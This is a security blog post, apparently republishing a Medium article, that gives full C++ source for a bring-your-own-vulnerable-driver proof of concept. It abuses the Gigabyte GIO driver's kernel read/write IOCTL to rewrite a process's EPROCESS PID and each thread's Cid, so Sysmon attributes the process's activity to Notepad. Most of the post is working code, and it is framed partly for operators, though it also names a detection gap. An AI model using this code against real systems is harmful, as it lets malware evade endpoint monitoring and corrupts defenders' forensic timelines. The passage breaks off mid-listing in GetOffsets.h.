core-jmp core-jmpdeath of core jump

Process ID Mutation via BYOVD: Making Sysmon Blame Notepad

Patch EPROCESS.UniqueProcessId and every ETHREAD.Cid with a GIO kernel write, and Sysmon attributes file, DNS and child-process events to Notepad. PspCidTable still knows the truth. Sysmon does not ask.

oxfemale September 11, 2026 29 min read 82 reads
Export PDF
Process ID Mutation via BYOVD: Making Sysmon Blame Notepad
Original text: "Process ID Mutation via BYOVD"S12 – 0x12Dark Development, Medium (27 August 2026). Code, tables and figures below are reproduced verbatim with attribution captions. The PoC is published research against Sysmon attribution, not a production implant.
A process stealing another process's ID badge in a kernel hall of nameplates
Sysmon writes the name on the thread’s badge. Swap the badge and the ledger is still neat, just wrong.
A person swapping name tags while a receptionist writes in a ledger
Three ledgers, one receptionist. Patch the name tag the receptionist copies.

Executive Summary

S12 (0x12Dark Development) asked a kernel question in August 2026: what happens if you overwrite EPROCESS.UniqueProcessId at runtime? The answer is not a crash. It is a lie that Sysmon believes. Patch that field and every thread’s ETHREAD.Cid.UniqueProcess, and Event IDs 11, 22, 1 and 5 for your malware resolve to Notepad: image path, parent, tree, the lot. The PoC gets kernel read/write through a Bring-Your-Own-Vulnerable-Driver primitive on Gigabyte GIO (\\.\GIO, IOCTL 0xC3502808, loldrivers.io 2bea1bca-753c-4f09-bc9f-566ab0193f4a). Offsets come from DbgHelp against the live ntoskrnl PDB, so the same binary walks Windows 11 25H2 without hardcoded constants.

This draft keeps every listing and Sysmon screenshot from the Medium post, then adds the kitchen picture of three independent ledgers, why PspCidTable is the copy that still tells the truth, and how a defender who only lives in Sysmon will write a false timeline. The remaining IOC, in the author’s own words: EDRs that cross-check ETHREAD.Cid against PspCidTable will see the split. Sysmon will not. Do not run this against production. Restore-before-exit is the difference between a clean Event 5 and an orphaned Event 1.

The telemetry doesn’t just show the wrong PID, it resolves the wrong image path, the wrong parent, and builds a completely false process tree.

S12, August 2026

Windows Keeps Three Copies of Who You Are

Three independent PID stores: EPROCESS UniqueProcessId, PspCidTable, and ETHREAD Cid
Sysmon reads the thread CLIENT_ID. The kernel’s own open-process path often uses PspCidTable. They are not the same cell.
Diagram of EPROCESS UniqueProcessId versus related kernel identity fields
Process identity in the kernel object. Source: original article.

Windows does not have one PID. It has at least three places that claim to know it, and they are not kept in lockstep by hardware:

  • EPROCESS.UniqueProcessId — the PID field on the process object. Layout: Vergilius, Windows 11 25H2 _EPROCESS. Tools that walk PsActiveProcessLinks read this.
  • PspCidTable — a kernel handle table indexed by PID/4. The kernel treats this as authoritative for NtOpenProcess, many handle operations, and a lot of callbacks.
  • ETHREAD.Cid.UniqueProcess — each thread carries a CLIENT_ID. ETW kernel callbacks, minifilter callbacks, and Sysmon’s driver read here, not from UniqueProcessId.

Patch UniqueProcessId alone and Process Explorer-style list walkers get confused, but Sysmon still prints the real PID. The interesting write is the per-thread Cid. CLIENT_ID.UniqueProcess sits at offset 0 of the Cid field, so ethread + Cid is the right cell.

Kitchen table: Imagine a hotel with three guest books. The vault (PspCidTable) has your real name. The door of the room (EPROCESS) has a number. The name tag on your jacket (ETHREAD.Cid) is what the night clerk copies into the police log (Sysmon). Swap the name tag and the log is internally consistent and completely wrong.
For operators: This is not DKOM unlink from ActiveProcessLinks (the classic DKOM hide). The process stays in the list. Its number changes. Task Manager may still show you; Sysmon will show Notepad. Different lie, different detector. Unlink vs mutate are complementary, not substitutes.

Implementation

Find your EPROCESS

With a kernel read primitive, start at PsInitialSystemProcess (PID 4), walk ActiveProcessLinks, match UniqueProcessId to yourself.

DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
DWORD64 systemEPROCESS = 0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));

// Walk PsActiveProcessLinks until PID matches
DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
// ...

Patch EPROCESS.UniqueProcessId

Overwrite the PID with a live Notepad PID:

DWORD64 newValue = targetPid;
WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),
    &newValue, sizeof(newValue));

List walkers now see the mutated PID. Sysmon still does not.

Patch every ETHREAD.Cid.UniqueProcess

Walk EPROCESS.ThreadListHead. For each ETHREAD, write the new PID into Cid. Cap the walk at 1000 to avoid a corrupted list becoming an infinite loop.

void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {
    DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;
    DWORD64 currentFlink = 0;
    ReadPrimitive(drv, &currentFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));

    DWORD64 current = currentFlink;
    int count = 0;

    while (current != headAddr && count < 1000) {
        count++;
        DWORD64 ethread = current - g_offsets.ThreadListEntry;

        WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
            &newPid, sizeof(DWORD64));

        DWORD64 nextFlink = 0;
        ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
        current = nextFlink;
    }
}

Restore before exit

If you die wearing Notepad’s PID, Sysmon never gets Event 5 for your real process and never ties Event 1 for PID 3284 to a termination. Restore UniqueProcessId (and the Cids) before you exit so the timeline has a close-brace.

void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {
    DWORD64 restorePid = (DWORD64)originalPid;
    WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),
        &restorePid, sizeof(restorePid));
    // Also restore all ETHREAD.Cid fields...
}

Offsets without Hardcoding

DbgHelp against ntoskrnl’s PDB. No build-specific constants:

out.UniqueProcessId   = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
out.ThreadListHead    = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");
out.ThreadListEntry   = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");
out.Cid               = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");

GetOffsets.h (full file below) pulls the PDB via WinHTTP from Microsoft’s symbol server using the RSDS CodeView info in ntoskrnl, then SymGetTypeFromName / field offsets. That is why the PoC claims portability across Windows builds.

Kitchen table: Instead of tattooing “UniqueProcessId is at 0x440 on this one laptop,” the program asks Microsoft’s symbol server what the field is called this month. Same source, new Windows, still compiles in your head.

The Driver: GIO, Not Magic

DrvOps.h talks to \\.\GIO with IOCTL 0xC3502808. That is the Gigabyte “GIGABYTE UPDATE SERVICE” style vulnerable driver catalogued on LOLDrivers. The structs are a destination, a source, and a size. Read and write are the same IOCTL with the buffer used differently. HVCI / Microsoft’s vulnerable-driver blocklist / WDAC are supposed to stop this load. If they do, there is no primitive and no PID lie.

This is the same family of BYOVD as every other DeviceIoControl arbitrary R/W from 2018 onward. The novelty is what gets written: identity cells Sysmon trusts, not a token steal (though the same primitive can do that too).

Full Code

main.cpp

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <algorithm>
#include <vector>
#include "DrvOps.h"
#include "GetOffsets.h"
#pragma comment(lib, "ws2_32.lib")


using namespace std;

struct offsets {
    ULONG64 ActiveProcessLinks;
    ULONG64 UniqueProcessId;
    ULONG64 PsInitialSystemProcess;
    ULONG64 ThreadListHead;
    ULONG64 ThreadListEntry;
    ULONG64 Cid;
} g_offsets = {
};

typedef struct _SYSTEM_MODULE_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Count;
    SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

struct KernelDriver {
    std::string Name;
    uintptr_t BaseAddress;
    uint32_t Size;
};

typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

DWORD64 GetNtoskrnlBase(const std::vector<KernelDriver>& drivers) {
    if (drivers.empty()) {
        return 0;
    }

    for (const auto& drv : drivers) {
        std::string nameLower = drv.Name;
        std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);

        if (nameLower.find("ntoskrnl.exe") != std::string::npos ||
            nameLower.find("ntkrnl") != std::string::npos) {
            return (DWORD64)drv.BaseAddress;
        }
    }

    return 0;
}


std::vector<KernelDriver> GetSortedKernelDrivers() {
    std::vector<KernelDriver> driverList;

    auto NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) return driverList;

    ULONG len = 0;
    const int SystemModuleInformation = 11;

    NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);

    std::vector<BYTE> buffer(len);
    NTSTATUS status = NtQuerySystemInformation(
        (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
        buffer.data(),
        len,
        &len
    );

    if (status != 0) return driverList; // STATUS_SUCCESS = 0

    auto mods = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());

    for (ULONG i = 0; i < mods->Count; i++) {
        SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];

        KernelDriver drv;
        drv.BaseAddress = reinterpret_cast<uintptr_t>(entry.ImageBase);
        drv.Size = entry.ImageSize;

        const char* nameStart = reinterpret_cast<const char*>(entry.FullPathName) + entry.OffsetToFileName;
        drv.Name = std::string(nameStart);

        driverList.push_back(drv);
    }

    std::sort(driverList.begin(), driverList.end(), [](const KernelDriver& a, const KernelDriver& b) {
        return a.BaseAddress < b.BaseAddress;
        });

    return driverList;
}

DWORD64 getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid)
{
    if (ntoskrnlBase == 0)
    {
        std::cerr << "Failed to find ntoskrnl.exe base address." << std::endl;
        return 0;
    }

    DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;  // Get EPROCESS of the System process (PID 4)
    cout << "PsInitialSystemProcess address " << initialSystemProcess << endl;

    getchar();
    // Open Driver

    getchar();
    // Read Primitive to get EPROCESS structure from System Process
    DWORD64 systemEPROCESS = 0;
    BOOL readResult = ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess, sizeof(DWORD64));
    cout << "System EPROCESS: " << systemEPROCESS << endl;


    // Make sure that the EPROCESS is not from the PID 4 (System)
    DWORD systemPid = 0;
    BOOL readPIDSystemResult = ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId), sizeof(DWORD));
    cout << "System PID: " << systemPid << endl;
    if (systemPid == pid) {
        return systemEPROCESS; // If the target process is SYSTEM (PID 4) we already have it
    }

    // Walk through the whole list
    DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
    cout << "headList address :" << headList << endl;

    // Get first process
    DWORD64 firstProcess = 0;
    BOOL readFirstResult = ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList, sizeof(DWORD64));
    if (!readFirstResult) {
        cout << "Failed getting first process" << endl;
    }
    cout << "First Flink: " << firstProcess << endl;


    DWORD64 currentProcess = firstProcess;
    int counter = 0;
    getchar();
    cout << "Starting while " << endl;
    while (currentProcess != headList && counter < 5000) {
        counter++;

        DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
        cout << "Checking EPROCESS " << eprocess << endl;

        // Read PID
        DWORD currentPid = 0;
        BOOL readPIDResult = ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), sizeof(DWORD));
        if (!readPIDResult) {
            cout << "Error getting current PID " << endl;
        }
        cout << "Current PID " << currentPid << endl;

        if (currentPid == pid) {
            cout << "Correct EPROCESS Found " << endl;
            return eprocess;
        }

        // Read next one
        DWORD64 nextProcess = 0;
        BOOL readNextResult = ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess, sizeof(DWORD64));
        if (!readNextResult) {
            cout << "Error getting next result " << endl;
        }

        currentProcess = nextProcess;
    }

    cout << "PID Not found after checking all processes " << endl;
    return 0;
}

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        wstring wideProcName(procName.begin(), procName.end());
        do {
            if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe32) != FALSE);
    }

    CloseHandle(hSnap);
    return pid;
}

BOOL EnableSeDebugPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        std::cerr << "OpenProcessToken failed: " << GetLastError() << std::endl;
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        std::cerr << "LookupPrivilegeValue failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return FALSE;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        std::cerr << "AdjustTokenPrivileges failed: " << GetLastError() << std::endl;
        CloseHandle(hToken);
        return FALSE;
    }
    CloseHandle(hToken);
    return TRUE;
}

void GenerateFileActivity() {
    HANDLE hFile = CreateFileA(
        "C:\\Temp\\sysmon_test.txt",
        GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) return;

    const char* data = "sysmon pid mutation test";
    DWORD written;
    WriteFile(hFile, data, strlen(data), &written, NULL);
    CloseHandle(hFile);
    printf("[+] File written\n");
}

void GenerateProcessCreate() {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};

    char cmdPath[MAX_PATH];
    GetSystemDirectoryA(cmdPath, MAX_PATH);
    strcat_s(cmdPath, "\\cmd.exe");

    BOOL ok = CreateProcessA(
        cmdPath,
        NULL,
        NULL, NULL, FALSE,
        CREATE_NEW_CONSOLE,
        NULL, NULL, &si, &pi
    );
    if (!ok) {
        printf("[-] CreateProcess failed: %d\n", GetLastError());

        // Fallback: BreakawayFromJob
        ok = CreateProcessA(
            cmdPath, NULL,
            NULL, NULL, FALSE,
            CREATE_NEW_CONSOLE | CREATE_BREAKAWAY_FROM_JOB,
            NULL, NULL, &si, &pi
        );
        if (!ok) {
            printf("[-] Breakaway also failed: %d\n", GetLastError());
            return;
        }
        printf("[+] Created with breakaway\n");
    }

    printf("[+] Child PID: %d\n", pi.dwProcessId);
    Sleep(1000);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

// Muta Cid.UniqueProcess de un ETHREAD individual
void MutateThreadCid(
    HANDLE drv,
    DWORD64 ethread,
    DWORD64 newPid
) {
    DWORD64 currentCid = 0;
    ReadPrimitive(
        drv, &currentCid,
        (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
        sizeof(DWORD64)
    );
    printf("  [*] ETHREAD: 0x%llX | Cid.UniqueProcess: %llu\n",
        ethread, currentCid);

    WritePrimitive(
        drv,
        (LPVOID)(uintptr_t)(ethread + g_offsets.Cid),
        &newPid, sizeof(DWORD64)
    );
    printf("  [+] Mutated -> %llu\n", newPid);
}

void MutateAllThreadCids(HANDLE drv, DWORD64 eprocess, DWORD64 newPid) {
    DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;

    // Leer Flink del head
    DWORD64 currentFlink = 0;
    BOOL ok = ReadPrimitive(drv, &currentFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));
    if (!ok || currentFlink == 0) {
        printf("Failed to read ThreadListHead Flink\n");
        return;
    }

    printf("Walking ThreadListHead @ 0x%llX\n", headAddr);

    DWORD64 current = currentFlink;
    int count = 0;

    while (current != headAddr && count < 1000) {
        count++;

        DWORD64 ethread = current - g_offsets.ThreadListEntry;
        MutateThreadCid(drv, ethread, newPid);

        DWORD64 nextFlink = 0;
        ok = ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
        if (!ok || nextFlink == 0) {
            printf("Failed reading next Flink at iteration %d\n", count);
            break;
        }

        current = nextFlink;
    }

    printf("Mutated Cid in %d threads\n", count);
}

void GenerateDNS() {
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    struct hostent* h = gethostbyname("example.com");
    WSACleanup();
}

void GenerateRegistry() {
    HKEY hKey;
    RegCreateKeyExA(HKEY_CURRENT_USER,
        "SOFTWARE\\TestMutation", 0, NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE, NULL, &hKey, NULL);
    RegCloseKey(hKey);
}

void RestorePID(HANDLE drv, DWORD64 eprocess, DWORD originalPid) {
    DWORD64 restorePid = (DWORD64)originalPid;
    WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), &restorePid, sizeof(restorePid));
    printf("[+] EPROCESS.UniqueProcessId restored to %llu\n", restorePid);

    DWORD64 headAddr = eprocess + g_offsets.ThreadListHead;
    DWORD64 currentFlink = 0;
    BOOL ok = ReadPrimitive(drv, &currentFlink, (LPVOID)(uintptr_t)headAddr, sizeof(DWORD64));
    if (!ok || currentFlink == 0) {
        printf("RestorePID: failed to read ThreadListHead\n");
        return;
    }

    DWORD64 current = currentFlink;
    int count = 0;
    while (current != headAddr && count < 1000) {
        count++;
        DWORD64 ethread = current - g_offsets.ThreadListEntry;

        WritePrimitive(drv, (LPVOID)(uintptr_t)(ethread + g_offsets.Cid), &restorePid, sizeof(DWORD64));

        DWORD64 nextFlink = 0;
        ok = ReadPrimitive(drv, &nextFlink, (LPVOID)(uintptr_t)current, sizeof(DWORD64));
        if (!ok || nextFlink == 0) break;
        current = nextFlink;
    }

    printf("Restored Cid in %d threads\n", count);
}


int main() {
    // 1. Enable SeDebugPrivilege for the current process
    BOOL setPriv = EnableSeDebugPrivilege();

    // 2. Get offsets
    KernelOffsets off{};
    if (!ResolveKernelOffsets(off)) {
        printf("\n[-] Failed to resolve kernel offsets\n");
        return 1;
    }

    printf("\n[+] Offsets resolved\n");


    g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
    g_offsets.UniqueProcessId = off.UniqueProcessId;
    g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
    g_offsets.ThreadListHead = off.ThreadListHead;
    g_offsets.ThreadListEntry = off.ThreadListEntry;
    g_offsets.Cid = off.Cid;

    printf("ActiveProcessLinks: 0x%llX\n", (unsigned long long)g_offsets.ActiveProcessLinks);
    printf("UniqueProcessId: 0x%llX\n", (unsigned long long)g_offsets.UniqueProcessId);
    printf("PsInitialSystemProcess: 0x%llX\n", (unsigned long long)g_offsets.PsInitialSystemProcess);
    printf("ThreadListHead:  0x%llX\n", (unsigned long long)g_offsets.ThreadListHead);
    printf("ThreadListEntry: 0x%llX\n", (unsigned long long)g_offsets.ThreadListEntry);
    printf("Cid:             0x%llX\n", (unsigned long long)g_offsets.Cid);


    // 3. List all drivers
    vector<KernelDriver> drivers = GetSortedKernelDrivers();

    // 4. Get ntoskrnl.exe address
    DWORD64 ntoskrnlBase = GetNtoskrnlBase(drivers);
    cout << "NTOSKRNL Base address " << hex << ntoskrnlBase << endl;
    getchar();

    HANDLE drv = openVulnDriver();

    DWORD pid = GetCurrentProcessId();

    // 5. Get EPROCESS of the target process
    DWORD64 eprocess = getEPROCESS(drv, ntoskrnlBase, pid);

    // 6. Read PID mutation
    DWORD64 processId = eprocess + g_offsets.UniqueProcessId;
    DWORD64 resultPID;
    BOOL readPIDSystemResult = ReadPrimitive(drv, &resultPID, (LPVOID)(uintptr_t)(processId), sizeof(resultPID));
    cout << "PID: " << dec << resultPID << endl;
    cout << "Hex PID: " << hex << resultPID << endl;
    getchar();

    //DWORD64 newValue = 1234567890;
    DWORD64 newValue;

    cout << "Enter new PID: ";
    cin >> newValue;
    // Write new EPROCESS.UniqueProcessId
    WritePrimitive(drv, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId), &newValue, sizeof(newValue));
    getchar();
    getchar();

    // Write the new PID in all the threads 
    MutateAllThreadCids(drv, eprocess, newValue);

    cout << "Generating file activity" << endl;
    GenerateFileActivity();
    getchar();

    cout << "Generating process creation telemetry" << endl;
    GenerateProcessCreate();
    getchar();


    cout << "Generating network telemetry" << endl;
    GenerateDNS();
    getchar();


    cout << "Generating registry telemetry" << endl;
    GenerateRegistry();

    getchar();
    getchar();

    // restore the original PID before terminate the process
    RestorePID(drv, eprocess, pid);

    return 0;
}

DrvOps.h

#include <iostream>
#include <Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#define IOCTL_READWRITE_PRIMITIVE 0xC3502808

using namespace std;

typedef struct KernelWritePrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelWritePrimitive;

typedef struct KernelReadPrimitive {
 LPVOID dst;
 LPVOID src;
 DWORD size;
} KernelReadPrimitive;

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelWritePrimitive kwp;
 kwp.dst = dst;
 kwp.src = src;
 kwp.size = size;

 BYTE bufferReturned[48] = { 0 };
 DWORD returned = 0;
 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
 if (!result) {
  cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
 return TRUE;
}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
 KernelReadPrimitive krp;
 krp.dst = dst;
 krp.src = src;
 krp.size = size;


 DWORD returned = 0;

 BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
 if (!result) {
  cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
  return FALSE;
 }
 return TRUE;
}

HANDLE openVulnDriver() {
 HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
 if (!driver || driver == INVALID_HANDLE_VALUE)
 {
  cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
  return NULL;
 }
 return driver;
}

GetOffsets.h

#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>

#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")

// Data Structures
struct PdbCodeViewInfo {
    GUID  Guid;
    DWORD Age;
    char  PdbFileName[MAX_PATH];
};

struct KernelOffsets {
    // EPROCESS struct field offsets (bytes from struct base)
    DWORD ThreadListHead;
    DWORD ThreadListEntry;
    DWORD Cid;
    DWORD64 ObHeaderCookie;
    DWORD UniqueProcessId;
    DWORD ActiveProcessLinks;
    DWORD64 PsInitialSystemProcess;
};

// PE Parsing 

#pragma pack(push, 1)
struct CV_INFO_PDB70 {
    DWORD CvSignature;   // 0x53445352 = 'RSDS'
    GUID  Signature;
    DWORD Age;
    char  PdbFileName[1];
};
#pragma pack(pop)

static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (rva >= sec->VirtualAddress &&
            rva < sec->VirtualAddress + sec->Misc.VirtualSize)
            return rva - sec->VirtualAddress + sec->PointerToRawData;
    }
    return 0;
}

static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
    HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
        nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
        return false;
    }

    LARGE_INTEGER sz{};
    GetFileSizeEx(hFile, &sz);
    std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
    DWORD rd = 0;
    bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
        && rd == buf.size();
    CloseHandle(hFile);
    if (!ok) return false;

    auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
    auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) return false;

    auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
    if (!dd.VirtualAddress || !dd.Size) return false;

    DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
    if (!ddOff || ddOff + dd.Size > buf.size()) return false;

    int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
    auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);

    for (int i = 0; i < entryCount; i++) {
        if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;

        DWORD raw = entries[i].PointerToRawData;
        if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
        if (!raw || raw >= buf.size()) continue;

        auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
        if (cv->CvSignature != 0x53445352) continue;  // 'RSDS'

        out.Guid = cv->Signature;
        out.Age = cv->Age;
        strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
        return true;
    }

    printf("[-] No CodeView RSDS entry found in PE\n");
    return false;
}

// PDB Cache Validation 

#pragma pack(push, 1)
struct MsfSuperBlock {
    char  FileMagic[0x20];
    DWORD BlockSize;
    DWORD FreeBlockMapBlock;
    DWORD NumBlocks;
    DWORD NumDirectoryBytes;
    DWORD Unknown;
    DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
    DWORD Version;
    DWORD Signature;
    DWORD Age;
    GUID  UniqueId;
};
#pragma pack(pop)

static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
    HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
        nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) return false;

    LARGE_INTEGER sz{};
    GetFileSizeEx(hFile, &sz);
    std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
    DWORD rd = 0;
    ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
    CloseHandle(hFile);

    if (buf.size() < sizeof(MsfSuperBlock)) return false;

    // MSF 7.00 magic (null-terminated string is 32 bytes including padding)
    static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
    auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
    if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;

    DWORD bs = sb->BlockSize;
    DWORD nd = sb->NumDirectoryBytes;
    if (!bs || !nd) return false;

    DWORD nDirBlocks = (nd + bs - 1) / bs;
    DWORD bmOffset = sb->BlockMapAddr * bs;
    if (bmOffset >= buf.size()) return false;

    // Reconstruct stream directory into contiguous buffer
    auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
    std::vector<BYTE> dir(nd, 0);
    DWORD written = 0;
    for (DWORD i = 0; i < nDirBlocks; i++) {
        DWORD blkOff = blockIdx[i] * bs;
        if (blkOff >= buf.size()) break;
        DWORD chunk = min(bs, nd - written);
        memcpy(dir.data() + written, buf.data() + blkOff, chunk);
        written += chunk;
    }

    // Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
    DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
    if (numStreams < 2) return false;

    auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
    auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);

    DWORD s0Size = streamSizes[0];
    DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;

    // Stream 1 first block index sits right after all of stream 0's block indices
